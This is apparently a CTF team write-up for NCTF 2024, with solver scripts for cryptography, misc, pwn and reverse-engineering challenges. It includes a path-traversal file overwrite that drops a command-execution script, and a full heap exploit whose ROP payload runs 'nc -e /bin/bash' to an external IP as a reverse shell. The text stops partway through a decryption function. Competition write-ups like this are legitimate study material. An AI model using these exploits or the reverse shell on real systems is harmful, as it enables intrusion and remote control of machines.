战绩:
RK 总榜19、校内2
RP 1432
被zzzyt薄纱QAQ
Misc
X1crypsc | 复现 – Yolo,SeanDictionary
MT19937的逆向,不断重置武器攻击值就能获得足够的随机数
from sage.all import *
from Crypto.Util.number import *
from tqdm import trange
from pwn import *
from random import *
def construct_a_row(RNG):
row = []
RNG.getrandbits(64)
RNG.getrandbits(16)
RNG.getrandbits(16)
for _ in range(19968//16):
tmp = RNG.getrandbits(16)
row += list(map(int, bin(tmp)[2:].zfill(16)))
return row
# 构造线性方程组的矩阵
L = []
for i in trange(19968):
state = [0]*624 # MT19937使用624个32位整数作为状态
# 构造一个只有一位为1,其他都为0的序列
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
# 将这个序列分成624段,每段32位,转换为整数
for j in range(624):
state[j] = int(temp[32*j:32*j+32], 2)
RNG = Random()
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
# 将L转换为GF(2)上的矩阵(二进制域)
L = Matrix(GF(2),L)
print(L.nrows(), L.ncols())
def MT19937_re(state):
try:
# 构造目标向量R
R = []
for i in state:
R += list(map(int, bin(i)[2:].zfill(16)))
R = vector(GF(2), R)
s = L.solve_left(R) # 这里可能会抛出异常
# 将解转换为二进制字符串
init = "".join(list(map(str,s)))
state = []
# 将解重新分割成624个32位整数
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
# 创建新的RNG并设置恢复出的状态
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))
return RNG1
except Exception as e:
print(f"[-]{e}")
pass
addr = "39.106.16.204:11749".split(":")
io = remote(addr[0], addr[1])
monster_hp = int(io.recvline_startswith(b"[+] Monster current HP:")[23:-1])
io.recvline()
print(monster_hp)
inital_weapon = None
state = []
for i in trange(19968//2//16):
io.sendafter(b"[-] Your option:",b"W\n")
tmp1, tmp2 = map(int,io.recvline_startswith(b"[+] Current attack value: ")[26:].split(b" ~ "))
if inital_weapon == None:
inital_weapon = [tmp1,tmp2-tmp1]
print(inital_weapon)
io.sendafter(b"[+] Do you want to refresh the attack profile of the weapon([y/n])?",b"y\n")
tmp1, tmp2 = map(int,io.recvline_startswith(b"[+] New weapon attack value: ")[29:].split(b" ~ "))
state += [tmp1,tmp2-tmp1]
io.recvline()
io.recvline()
RNG = MT19937_re(state)
RNG.getrandbits(64)
RNG.getrandbits(16)
RNG.getrandbits(16)
for _ in range(19968//2//16):
RNG.getrandbits(16)
RNG.getrandbits(16)
io.sendafter(b"[-] Your option:",b"A\n")
io.sendafter(b"[-] Provide the grid you're willing to aim:",(str(RNG.randrange(2025))+" "+str(RNG.randrange(2025))+"\n").encode())
io.interactive()
ps.本地测试的时候发现大概率一次命中就能打掉
观察到有个app路径,很显然是个python语言写的flask框架,接下来我的想法是进行端口扫描,看看哪个端口开放了http服务,这样就好办了
毕竟是复现,这里还是多弄几个方法吧,希望能学到更多,下次比赛就不要被控住了
首先这里采取了双写目录绕过,唉,要是我当时能多打几个就好了
给这里推荐几个文章
方法一:写个定时任务
给这里推荐几个文章,上面是关于Linux的定时任务的,下面是非常丰富的反弹shell教程,感谢C3师傅
https://xz.aliyun.com/news/2083
https://c3ngh.top/post/ReverseShell
先使用....//....//....//etc/cron.d/aaaa
生成文件名和路径
然后就是写bash反弹shell了
这里是用方法二写了个bash反弹shell,还没复现到定时任务,等会儿吃完饭了着
我得研究下
方法二:覆盖task.py
还是覆盖简单一些
import subprocess
while True:
command = input("请输入要执行的命令(输入 'exit' 退出):")
if command.lower() == 'exit':
break
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
print(result.stdout if result.returncode == 0 else result.stderr)
except Exception as e:
print(f"执行命令出错:{e}")
直接env就行了
maybe还有其他方法,等我研究
QRcode Reconstruction | FINISHED – Yolo
尽力修复到这样,还有剩下部分不知道怎么修复,下面的是题目给的
把纠错码关掉强行解码
得到flag NCTF{WeLc0mE_t0_Nctf_2024!!!}
Crypto
Sign | FINISHED – SeanDictionary
拿到题目最先的想法就是这两步
- FHE同态加密逆向
- MT19937随机数逆向预测
然后看源码中定义的FHE会发现随机数很多,不太好处理
emm全部带入化简一下能发现这样的式子$result = k_1p+k_2e<<8+m$
很显然当你已知p的时候将result对p取模,低8位就是m
然后就能联想到AGCD算法(此处在学习HSSP的时候听说过)求出p
MT19937的已知固定位上的bit逆向
再把每组Key的前四个解密一下即可
exp
我预先连接靶机拿到了所有数据
from Crypto.Util.number import *
from pwn import *
addr = "39.106.16.204:28309".split(":")
io = remote(addr[0], int(addr[1]))
with open('sign.txt', 'w') as f:
print(io.recvline().decode()[21:])
io.sendlineafter(b'[+] The keys to retrieve the global internet connection are as follows:',b'\n')
KEY = []
for i in range(30000):
KEY.append(int(io.recvline().decode()[4:-2]))
f.write(str(KEY))
下面由于MT19937对于L矩阵的构造时间太长,就在jupyter中提前构造好,并能够让多个代码块共享这个变量
from Crypto.Util.number import *
from random import *
from tqdm import *
def construct_a_row(RNG):
row = []
for _ in range(19968//32):
tmp = RNG.getrandbits(32)
row = list(map(int, bin(tmp)[2:].zfill(32))) + row
return row
# 构造线性方程组的矩阵
L = []
for i in trange(19968):
state = [0]*624 # MT19937使用624个32位整数作为状态
# 构造一个只有一位为1,其他都为0的序列
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
# 将这个序列分成624段,每段32位,转换为整数
for j in range(624):
state[j] = int(temp[32*j:32*j+32], 2)
RNG = Random()
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
# 将L转换为GF(2)上的矩阵(二进制域)
L = Matrix(GF(2),L)
print(L.nrows(), L.ncols())
下面是解题代码
from Crypto.Util.number import *
from random import *
import json
from Crypto.Cipher import AES
from hashlib import md5
def AGCD(xs,rho):
# reference:https://hasegawaazusa.github.io/agcd-note.html
k = len(xs)
A = ZZ(pow(2, rho + 1))
B = matrix(xs[1:])
C = matrix.diagonal([-xs[0]] * (k - 1))
M = matrix.block([[A, B], [ZZ(0), C]])
L = M.LLL()
q0 = ZZ(L[0, 0] / A).abs()
e0 = ZZ(xs[0] % q0)
p = ZZ((xs[0] - e0) / q0)
return p
def MT19937_re(state):
try:
# 构造目标向量R
R = []
for i in state:
R += list(map(int, bin(i)[2:].zfill(8)))
R = vector(GF(2), R)
s = L.solve_left(R) # 这里可能会抛出异常
# 将解转换为二进制字符串
init = "".join(list(map(str,s)))
state = []
# 将解重新分割成624个32位整数
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
# 创建新的RNG并设置恢复出的状态
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))
return RNG1
except Exception as e:
print(f"[-]{e}")
pass
ciphertext = long_to_bytes(0x14a1cd886d96dc876dcc442bb62dd12a44ad28f15929190ed080e9b33f5c4b5ce71520a3fd8aab86909834b99688ea76)
Keys = json.loads(open(r"C:\Users\SeanL\Desktop\sign.txt","r").read())
string = b""
for i in range(30000//2500):
xs = Keys[i*2500:(i+1)*2500]
p = AGCD(xs[:40],25)
print(f"[+]found p:{p}")
es = [(x%p)%256 for x in xs]
RNG = MT19937_re(es[:-4])
print("[+]reverse MT19937")
heads = [int(i) for i in long_to_bytes(RNG.getrandbits(20000))[:4]]
m = 0
for i in range(4)[::-1]:
tmp = (pow(heads[i],-1,0x101)*es[-4:][i])%0x101
assert int(tmp).bit_length() <= 2
m = (m<<2)+tmp
m = long_to_bytes(int(m))
string += m
print(f"[+]get:{m}")
print(f"[+]string:{string}")
print(f"[+]flag: {AES.new(md5(string).digest(),AES.MODE_ECB).decrypt(ciphertext)}")
# nctf{ae9c0c55-80dd-4ba4-a4d9-b75a92baf325}
Arcahv | 复现 – SeanDictionary
第一部分是关于RSA Byte Orcale,参见另一篇文章
在此基础上,显然可以跳过前127轮,因为此时k为0,然后交互75轮,拿到p的高600位
第二部分是关于LCG的三个参数未知的解法,先求出输出的5个连续输出,然后用Gröbner基求解即可得到a,b,p
然后倒推,因为key是128位的数,很小,所以可以认为倒推碰到的第一个128位的数就是key
from Crypto.Cipher import AES
from Crypto.Util.number import *
from pwn import *
# context.log_level = "DEBUG"
addr = "39.106.16.204:11578".split(":")
io = remote(addr[0],int(addr[1]))
io.sendlineafter(b"Your Option >", b"1")
enc = int(io.recvline().strip().split(b": ")[1], 16)
hint1 = int.from_bytes(bytes.fromhex(io.recvline().strip().split(b": ")[1].decode()), "little")
hint2 = bytes.fromhex(io.recvline().strip().split(b": ")[1].decode())
io.sendlineafter(b"Your Option >", b"2")
io.recvuntil(b'(')
rsa2n = int(io.recvuntil(b',', drop=True).strip().decode(),16)
rsa2e = int(io.recvuntil(b')', drop=True).strip().decode(),16)
inv = pow(rsa2n,-1,256)
c = hint1*pow(pow(256, rsa2e, rsa2n), 127, rsa2n) % rsa2n
k = 0
for _ in range(75):
c = (c * pow(256, rsa2e, rsa2n)) % rsa2n
io.sendlineafter(b"Do you still want to try decryption(y/[n])?", b"y")
io.sendlineafter(b"Your ciphertext(in hex):", long_to_bytes(c).hex().encode())
io.recvline()
tmp = bytes.fromhex(io.recvline()[8:].strip().decode())[0]
tmp = -inv*tmp % 256
k = k*256+tmp
rsa1pp = int((k+1)*rsa2n/256**(127+75))
print(f"[+] get a possible rsa1p: {rsa1pp}")
io.sendlineafter(b'Your Option >',b'3')
ls = []
for _ in range(80):
io.sendlineafter(b'Do you want another unsigned long long number(y/[n])?',b'y')
ls.append(int(io.recvline().strip().decode()))
hexstr = ''.join(hex(i)[2:].zfill(16) for i in ls)
output = [int(hexstr[i:i+256],16) for i in range(0,len(hexstr),256)]
R.<a,b> = PolynomialRing(ZZ)
f1 = output[0]*a + b - output[1]
f2 = output[1]*a + b - output[2]
f3 = output[2]*a + b - output[3]
f4 = output[3]*a + b - output[4]
F = [f1,f2,f3,f4]
ideal = Ideal(F)
I = ideal.groebner_basis()
a = ZZ(-I[0].univariate_polynomial()(0))
b = ZZ(-I[1].univariate_polynomial()(0))
n = ZZ(I[2])
assert output[1] == (output[0]*a + b) % n
assert output[2] == (output[1]*a + b) % n
assert output[3] == (output[2]*a + b) % n
assert output[4] == (output[3]*a + b) % n
inv = pow(a, -1, n)
tmp = output[0]
while int(tmp).bit_length() > 128:
tmp = (tmp - b) * inv % n
key = int(tmp).to_bytes(16,'big')
print(f"[+] get key: {key}")
rsa1n = int.from_bytes(AES.new(key,AES.MODE_ECB).decrypt(hint2),'big')
print(f"[+] get rsa1n: {rsa1n}")
R.<x> = Zmod(rsa1n)[]
f = (rsa1pp >> 424 << 424) + x
res = f.small_roots(X=2^453,beta=0.4)[0]
rsa1p = int(res + (rsa1pp >> 424 << 424))
assert rsa1n % rsa1p == 0
print(f"[+] get rsa1p: {rsa1p}")
rsa1q = rsa1n // rsa1p
rsa1d = pow(65537, -1, (rsa1p-1)*(rsa1q-1))
print(f"[+] flag: {long_to_bytes(int(pow(enc, rsa1d, rsa1n)))}")
# nctf{908685eb-0c4a-4362-b46e-aae75b983993}
绮云
GCD算一下可以拿到N
e必定是奇数
拿N有概率是错的,后续的e和d就会算不出来
下播,算法都是对的,本地能拿到e,连靶机跑了有一个小时都没算出来一次正确的d
😭
Pwn
unauth-diary | FINISHED – 01
遇到了强如怪物的套接字通信,终于战胜了
我的虚拟机挂掉了十多次,为了调试这个套接字它已经燃尽了
这道题的漏点很隐蔽,一眼看下来add,free,edit和show都没有漏洞🤔
漏洞在add函数,实际malloc的大小是我们输入的大小再减1,而且没有对输入的大小做检查,那如果我们输入的大小为-1的话,最终可编辑长度就是-1==0xffffffffffffffff,malloc函数会执行malloc(0)
我一开始没搞清楚malloc(0)会返回个什么就一直在想别的办法,发现都走不通后才回来看malloc(0),在linux中malloc(0)会返回一枚指针但不返回chunk结构体(没见过这种非预期),所以既不会破坏其他chunk结构,又能申请一枚指针,且可以向其中输入-1字节,造成很大的堆溢出,以此造成堆块重叠
泄露libc与heap的基地址:
for i in range(4):
add(0x10,b'01')
for i in range(4):
free(i)
for i in range(7):
add(0x3f0,b'01')
io.sendlineafter(b"> ",b"1") #7
io.sendlineafter(b"Input length:\n",str(-1).encode())
io.sendline(b'')
for i in range(7):
free(i)
add(0xf0,b'01')#0
add(0x2f0,b'01')#1
add(0x2f0,b'01')#2
add(0x2f0,b'01')#3
add(0x2f0,b'01')#4
#======================================================================================================================
edit(7,b'a'*0x10+p64(0)+p64(0x401))
free(0)
add(0xf0,b'01')#0
show(1)
io.recvuntil(b"Content:\n")
io.recv(8)
base=u64(io.recv(6)+b'\x00\x00')-0x203b20
success("base==>"+str(hex(base)))
stderr =base+libc.sym['_IO_2_1_stderr_']
_IO_list_all =base+libc.sym['_IO_list_all']
_IO_wfile_jumps =base+libc.sym['_IO_wfile_jumps']
system =base+libc.sym['system']
rdi =base+0x000000000010f75b
ret =rdi+1
setcontext =base+libc.sym['setcontext']+61
#=======================================================================================================================
add(0x2f0,b'01')#5
free(1)
show(5)
io.recvuntil(b"Content:\n")
heap=(u64(io.recv(8))<<12)-0x2000
success("heap=>"+str(hex(heap)))
key=(heap>>12)+2
one=[0x583ec,0x583f3,0xef4ce,0xef52b]
one=one[3]+base
add(0x2f0,b'01')#1
free(3)
free(1)
堆风水的过程中要注意让mallco(0)的指针在填充Tcachebins和利用堆块的中间,这样构造堆块重叠比较方便(无需伪造chunk头)
我构造的堆风水:
能保证同时掌握两枚指针指向同一个0x2f0大小的堆块,于是我用这个堆块攻击_IO_list_all,将伪造的IO堆块地址写入_IO_list_all
此时的问题就是究竟要写哪种IO结构体?
我首先想到的是house of apple2,这条IO链可以快速获得一个shell,但缺点就是这个shell只能是system(” sh”),如果是普通的堆题足够了,但这个题存在套接字:我的shell会开在套接字上,而套接字会在exit冲刷IO流前被关闭,于是我既无法向这个shell发送命令,也无法接受shell给我们的回显,那这个shell开的还有什么意义呢?
在反复尝试失败后我选择使用反弹shell,如果这个shell开在我自己的端口,即使套接字被关了,我仍然能向shell中输入指令获得回显,但apple链无法满足这个要求,所以IO结构体需要从新伪造
House of cat的特点是,很适合进行栈迁移实现rop,而rop能给我充足的空间写下反弹shell的command,所以写house of cat结构体,今天还发现了hosue of cat尽量不要把fd,wide_data与wide_data_vtable重叠在一起,要不然会被检查gank.
#=======================================================
#IO:hosue of cat
edit(5,p64(_IO_list_all^key))
wide=heap+0x20c0
Wide=flat({
0x00:{#fd
0x28:p64(1), #write_ptr==1 to set write_ptr>write_base
0x88:p64(heap+0x200), #lock_aren must can write
0xa0:p64(wide+0x100), #wide_data
0xd8:p64(_IO_wfile_jumps+0x30), #vtable of fd
},
0x100:{#the fake wide_data
0x20:p64(wide+0x200+0x50-0xa0), #the rdx of setcontext,rdx=target-0xa0
0xe0:p64(wide+0x200) #the fake vtable of wide_data
},
0x200:{#the fake wide_data_vtable
0x18:p64(setcontext), #the wide_data call the offset of 0x18' function
#the setcontext can set the rsp:mov rsp,[rdx+0xa0]
0x50:p64(wide+0x258), #target,the rsp set as it at last
0x58:p64(ret), #the rop
0x60:p64(rdi),
0x68:p64(wide+0x2a0),
0x70:p64(system),
0xa0:b'nc -e /bin/bash 3.112.71.79 17020\x00'
}
},filler=b'\x00')
add(0x2f0,Wide)
add(0x2f0,p64(wide))
print("stderr=>"+str(hex(_IO_list_all)))
io.sendline(b"5")#IO(exit)
io.interactive()
我调试了好久,总感觉不同版本的libc对house of cat的某些检查有点不一样🤔,总之靠gdb一点一点调出来的
终于运行时我的公网IP里冒出了请求连接的字段,成功getshell!
unauthwarden-whoami | WORKING – 01
😭
我该去哪里呢?
Reverse
SafeProgram | FINISHED – Spreng
程序提取NCTF{}包裹的32位flag,分别对前16位和后16位加密(同一算法)。程序中存在很多阻碍Debug的东西,现在加密函数已经逆向了。尽管相关的变量都在动态调试的时候验证过,但是解密却失败了。 推测原因:在正常运行时,调用了某些函数,对加密用到的全局变量进行了修改,而在Debug的时候却把他们绕过了。
这个函数还是很好找的,就这一个函数改了变量,看来出题人是个好人。
解密脚本:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BYTE1(x) ((unsigned __int8)((x) >> 8))
#define BYTE2(x) ((unsigned __int8)((x) >> 16))
#define HIBYTE(x) ((unsigned __int8)((x) >> 24))
#define _DWORD unsigned int
#define _BYTE unsigned char
_DWORD dword_7FF69B54A028[4] = {0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC};
_DWORD dword_7FF69B54A040[32] = {
0x70E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0x0A8AFB6BD, 0x0C4CBD2D9,
0x0E0E7EEF5, 0x0FC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0x0A4ABB2B9,
0x0C0C7CED5, 0x0DCE3EAF1, 0x0F8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0x0A0A7AEB5, 0x0BCC3CAD1, 0x0D8DFE6ED, 0x0F4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279};
_BYTE S_box[256] = {
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51,
0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8,
0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0,
0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48};
_BYTE byte_7FF69B54A0C0[16] = {0xDF, 0xD2, 0xC5, 0xD7, 0xA3, 0xA5, 0xFF, 0xF2, 0xE5, 0xF7};
unsigned __int64 __fastcall encrypt(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int64 result; // rax
int i; // [rsp+0h] [rbp-178h]
int j; // [rsp+4h] [rbp-174h]
int m; // [rsp+8h] [rbp-170h]
int ii; // [rsp+Ch] [rbp-16Ch]
int k; // [rsp+10h] [rbp-168h]
int n; // [rsp+14h] [rbp-164h]
int v10; // [rsp+18h] [rbp-160h]
int v11; // [rsp+1Ch] [rbp-15Ch]
_DWORD v12[4]; // [rsp+30h] [rbp-148h] BYREF
_DWORD v13[36]; // [rsp+40h] [rbp-138h] BYREF
_DWORD v14[36]; // [rsp+D0h] [rbp-A8h] BYREF
memset(v14, 0, sizeof(v14));
memset(v13, 0, sizeof(v13));
result = (unsigned __int64)v12;
for (i = 0; i < 4; ++i)
{
// 4个字节为一组逆序存入v13前4个字节
v10 = *(_DWORD *)(a1 + 4LL * i);
v13[i] = (BYTE1(v10) << 16) | ((unsigned __int8)v10 << 24);
v13[i] |= HIBYTE(v10) | (BYTE2(v10) << 8);
v14[i] = dword_7FF69B54A028[i] ^ ((unsigned __int8)HIBYTE(*(_DWORD *)(a2 + 4LL * i)) | ((unsigned __int8)BYTE2(*(_DWORD *)(a2 + 4LL * i)) << 8) | ((unsigned __int8)BYTE1(*(_DWORD *)(a2 + 4LL * i)) << 16) | ((unsigned __int8)*(_DWORD *)(a2 + 4LL * i) << 24));
result = (unsigned int)(i + 1);
}
// 拓展v14至36个字节
for (j = 0; j < 32; ++j)
{
v12[0] = dword_7FF69B54A040[j] ^ v14[j + 3] ^ v14[j + 2] ^ v14[j + 1];
for (k = 0; k < 4; ++k)
*((_BYTE *)v12 + k) = S_box[*((unsigned __int8 *)v12 + k)];
v14[j + 4] = ((v12[0] >> 9) | (v12[0] << 23)) ^ ((v12[0] >> 19) | (v12[0] << 13)) ^ v12[0] ^ v14[j];
result = (unsigned int)(j + 1);
}
for (m = 0; m < 32; ++m)
{
v12[0] = v14[m + 4] ^ v13[m + 3] ^ v13[m + 2] ^ v13[m + 1];
for (n = 0; n < 4; ++n)
*((_BYTE *)v12 + n) = S_box[*((unsigned __int8 *)v12 + n)];
v13[m + 4] = ((v12[0] >> 8) | (v12[0] << 24)) ^ ((v12[0] >> 14) | (v12[0] << 18)) ^ ((v12[0] >> 22) | (v12[0] << 10)) ^ ((v12[0] >> 30) | (v12[0] << 2)) ^ v12[0] ^ v13[m];
result = (unsigned int)(m + 1);
}
for (ii = 0; ii < 4; ++ii)
{
v11 = v13[35 - ii];
*(_DWORD *)(a3 + 4LL * ii) = (BYTE1(v11) << 16) | ((unsigned __int8)v11 << 24);
*(_DWORD *)(a3 + 4LL * ii) |= HIBYTE(v11) | (BYTE2(v11) << 8);
result = (unsigned int)(ii + 1);
}
// 过程量验证
// printf("v13:\n");
// for (int i = 0; i < 36; i++)
// {
// printf("%x ", v13[i]);
// }
// printf("\n");
// printf("v14:\n");
// for (int i = 0; i < 36; i++)
// {
// printf("%x ", v14[i]);
// }
// printf("\n");
return result;
}
unsigned __int64 __fastcall decrypt(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int64 result; // rax
int i; // [rsp+0h] [rbp-178h]
int j; // [rsp+4h] [rbp-174h]
int m; // [rsp+8h] [rbp-170h]
int ii; // [rsp+Ch] [rbp-16Ch]
int k; // [rsp+10h] [rbp-168h]
int n; // [rsp+14h] [rbp-164h]
int v10; // [rsp+18h] [rbp-160h]
int v11; // [rsp+1Ch] [rbp-15Ch]
_DWORD v12[4]; // [rsp+30h] [rbp-148h] BYREF
_DWORD v13[36]; // [rsp+40h] [rbp-138h] BYREF
_DWORD v14[36]; // [rsp+D0h] [rbp-A8h] BYREF
memset(v14, 0, sizeof(v14));
memset(v13, 0, sizeof(v13));
for (ii = 0; ii < 4; ++ii)
{
v11 = *(_DWORD *)(a3 + 4LL * ii);
v13[35 - ii] = (BYTE1(v11) << 16) | ((unsigned __int8)v11 << 24);
v13[35 - ii] |= HIBYTE(v11) | (BYTE2(v11) << 8);
v14[ii] = dword_7FF69B54A028[ii] ^ ((unsigned __int8)HIBYTE(*(_DWORD *)(a2 + 4LL * ii)) | ((unsigned __int8)BYTE2(*(_DWORD *)(a2 + 4LL * ii)) << 8) | ((unsigned __int8)BYTE1(*(_DWORD *)(a2 + 4LL * ii)) << 16) | ((unsigned __int8)*(_DWORD *)(a2 + 4LL * ii) << 24));
}
// 拓展v14至36个字节
for (j = 0; j < 32; ++j)
{
v12[0] = dword_7FF69B54A040[j] ^ v14[j + 3] ^ v14[j + 2] ^ v14[j + 1];
for (k = 0; k < 4; ++k)
*((_BYTE *)v12 + k) = S_box[*((unsigned __int8 *)v12 + k)];
v14[j + 4] = ((v12[0] >> 9) | (v12[0] << 23)) ^ ((v12[0] >> 19) | (v12[0] << 13)) ^ v12[0] ^ v14[j];
}
for (m = 31; m >= 0; --m)
{
v12[0] = v14[m + 4] ^ v13[m + 3] ^ v13[m + 2] ^ v13[m + 1];
for (n = 0; n < 4; ++n)
*((_BYTE *)v12 + n) = S_box[*((unsigned __int8 *)v12 + n)];
v13[m] = ((v12[0] >> 8) | (v12[0] << 24)) ^ ((v12[0] >> 14) | (v12[0] << 18)) ^ ((v12[0] >> 22) | (v12[0] << 10)) ^ ((v12[0] >> 30) | (v12[0] << 2)) ^ v12[0] ^ v13[m + 4];
}
for (i = 0; i < 4; ++i)
{
v10 = (BYTE1(v13[i]) << 16) | ((unsigned __int8)v13[i] << 24);
v10 |= HIBYTE(v13[i]) | (BYTE2(v13[i]) << 8);
*(_DWORD *)(a1 + 4LL * i) = v10;
}
// 过程量验证
// printf("v13:\n");
// for (int i = 0; i < 36; i++)
// {
// printf("%x ", v13[i]);
// }
// printf("\n");
// printf("v14:\n");
// for (int i = 0; i < 36; i++)
// {
// printf("%x ", v14[i]);
// }
// printf("\n");
}
char *__fastcall sub_7FF69B521E80(char *a1, char *a2)
{
char *result; // rax
char v3; // [rsp+0h] [rbp-18h]
v3 = *a1;
*a1 = *a2;
result = a2;
*a2 = v3;
return result;
}
__int64 sub_7FF69B521480()
{
__int64 result; // rax
int i; // [rsp+20h] [rbp-18h]
int j; // [rsp+24h] [rbp-14h]
for (i = 0; i < 10; ++i)
{
byte_7FF69B54A0C0[i] ^= 0x91u;
result = (unsigned int)(i + 1);
}
for (j = 0; j < 10; ++j)
{
sub_7FF69B521E80(S_box, &S_box[byte_7FF69B54A0C0[j]]);
result = (unsigned int)(j + 1);
}
return result;
}
int main()
{
_BYTE v4[16];
_BYTE Buf[16];
sub_7FF69B521480();
memcpy(v4, &byte_7FF69B54A0C0, 10);
memcpy(&v4[10], &byte_7FF69B54A0C0, 6);
// 测试解密函数
// _BYTE test_flag[17] = "1111111111111111";
// printf("test_flag: %s\n", test_flag);
// encrypt(test_flag, v4, Buf);
// decrypt(Buf, v4, Buf);
// printf("test_flag: %s\n", test_flag);
_BYTE flag[33] = {
0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF,
0x13, 0x30, 0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C,
0x14, 0x5B, 0xA6, 0x2A, 0xA8, 0x05, 0xA5, 0xF3,
0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36, 0x7B, 0x46, 0x00};
decrypt(flag, v4, flag);
decrypt(&flag[16], v4, &flag[16]);
printf("NCTF{%s}", flag);
// NCTF{58cb925e0cd823c0d0b54fd06b820b7e}
return 0;
}
ezDOS | FINISHED – Spreng
打开程序,修复花指令。分析ASM发现是变种RC4,我先编写了一个理应等效的加密方式,然后编写了解密函数。但是解密没解出来,检查了几遍都没找到问题,如果能动态调试就好了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define _DWORD unsigned int
#define _BYTE unsigned char
// 7C 3E 0D 3C 88 54 83 0E 3B B8 99 1B 9B E5
// 23 43 C5 80 45 5B 9A 29 24 38 A9 5C CB 7A E5 93
// 73 0E 70 6D 7C 31 2B 8C
_BYTE enc[] = {
0x7C, 0x3E, 0x0D, 0x3C, 0x88, 0x54, 0x83, 0x0E,
0x3B, 0xB8, 0x99, 0x1B, 0x9B, 0xE5, 0x23, 0x43,
0xC5, 0x80, 0x45, 0x5B, 0x9A, 0x29, 0x24, 0x38,
0xA9, 0x5C, 0xCB, 0x7A, 0xE5, 0x93, 0x73, 0x0E,
0x70, 0x6D, 0x7C, 0x31, 0x2B, 0x8C};
_BYTE S_Box[256];
int S_init()
{
_DWORD a = 0, j = 0, i;
_BYTE key[12] = "NCTf2024nctF";
for (i = 0; i < 12; i++)
{
key[i] = ((key[i] >> 6) | (key[i] << 6) + 2) % 256;
}
for (i = 0; i < 256; i++)
{
S_Box[i] = i;
}
for (int i = 0; i < 256; i++)
{
j = (j + S_Box[i] + key[i % 12]) % 256;
int temp = S_Box[i];
S_Box[i] = S_Box[j];
S_Box[j] = temp;
}
return 0;
}
int encrypt(_BYTE flag[], int len)
{
int i = 0, j = 0;
for (int ii = 0; ii < len; ii++)
{
i = (i + 1) % 256;
j = (j + S_Box[i]) % 256;
int temp = S_Box[j];
S_Box[j] = S_Box[i];
S_Box[i] = temp;
j = (j + 1) % 256;
flag[i] ^= S_Box[(S_Box[i] + S_Box[j]) % 256] + 2;
}
}
int decrypt(_BYTE flag[], int len)
{
unsigned int i = 0, j = 0;
for (int ii = 0; ii < len; ii++)
{
i = (i + 1) % 256;
j = (j + S_Box[i]) % 256;
int temp = S_Box[j];
S_Box[j] = S_Box[i];
S_Box[i] = temp;
j = (j + 1) % 256;
}
for (int ii = len - 1; ii >= 0; ii--)
{
flag[i] ^= S_Box[(S_Box[i] + S_Box[j]) % 256] + 2;
j = (j - 1) % 256;
int temp = S_Box[j];
